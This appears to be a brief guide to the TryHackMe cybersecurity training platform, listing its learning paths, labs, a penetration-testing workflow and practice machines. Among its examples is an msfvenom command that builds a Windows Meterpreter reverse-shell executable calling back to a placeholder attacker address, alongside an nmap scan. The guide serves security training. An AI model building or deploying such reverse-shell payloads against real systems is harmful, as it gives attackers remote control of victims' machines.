TryHackMe: Professional Cybersecurity Labs Guide

Core Paths:

• Pre-Security: Networking, Linux, Windows basics
• Jr Penetration Tester: OSCP preparation
• Cyber Defense: Blue team skills
• Red Teaming: Advanced attack simulations

Key Labs:

• Nmap: Network scanning techniques
• Metasploit: Exploitation framework
• OWASP Top 10: Web application attacks

Pro Tip:

Complete "Advent of Cyber" annually for seasonal challenges

Professional Workflow:

1. Reconnaissance: Open-source intelligence
2. Scanning: Nmap, Nessus
3. Exploitation: Metasploit, manual exploits
4. Post-exploitation: Privilege escalation

Hands-On Examples:

# Nmap scan example
nmap -sV -sC -oA scan_results 10.10.10.5

# Metasploit payload generation
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f exe > payload.exe
        

Blue Team Labs:

• Splunk: SIEM log analysis
• Volatility: Memory forensics
• Snort: IDS rule creation

Practical Exercises:

• Analyze phishing emails in "Phishing Analysis" room
• Detect lateral movement in "Detection Challenge" room
• Practice threat hunting with "SOC Level 1" path

Challenge Types:

• Boot2Root: Full system compromise
• Forensics: File analysis and recovery
• Crypto: Encryption/decryption challenges
• Steganography: Hidden data extraction

Notable Machines:

• VulnNet: Active Directory exploitation
• Blue: EternalBlue vulnerability
• Ice: CMS exploitation